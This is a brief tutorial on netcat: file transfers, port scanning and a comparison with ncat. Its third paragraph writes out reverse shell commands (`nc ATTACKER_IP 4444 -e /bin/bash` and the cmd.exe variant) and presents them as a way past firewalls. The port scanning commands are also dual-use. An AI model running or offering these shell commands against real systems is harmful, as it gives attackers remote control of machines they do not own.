To transfer files with netcat, on the receiving server run `nc -lvp 9999 > received_file` and on the sender run `nc -w 3 DEST_IP 9999 < source_file`. The `-l` flag puts netcat in listen mode, `-v` enables verbose output, and `-p 9999` sets the port. The `-w 3` flag adds a 3-second timeout. This transfer is unencrypted, making it suitable for trusted internal networks where additional security is not required.

You can scan ports with netcat using `nc -zv -w 1 IP 1-1000`. The `-z` flag enables zero-I/O mode which only checks if ports are open without sending data, `-v` shows results, and `-w 1` sets a 1-second timeout per port. To show only open ports pipe with `2>&1 | grep succeeded`. For UDP scanning add `-u`. Netcat port scanning is less comprehensive than nmap but useful for quick checks without extra tools.

A netcat reverse shell makes the target machine initiate a connection back to the attacker, bypassing firewalls that block incoming connections. On the attacker machine run `nc -lvp 4444`. On the target use `nc ATTACKER_IP 4444 -e /bin/bash` on Linux or `nc ATTACKER_IP 4444 -e cmd.exe` on Windows with traditional netcat. Modern alternatives like ncat add SSL encryption and auto-reconnection capabilities for more reliable remote access.

Traditional netcat (`nc`) offers basic functionality: TCP/UDP connections, simple port scanning, file transfers, and bind/reverse shells. Ncat, developed by the Nmap team, is the modern successor with SSL/TLS support (`--ssl`), encrypted transfers, automatic reconnection (`--keep-open`), SOCKS proxy capability, connection brokering, and better cross-platform support. Ncat is recommended for production environments where encryption and reliability are required.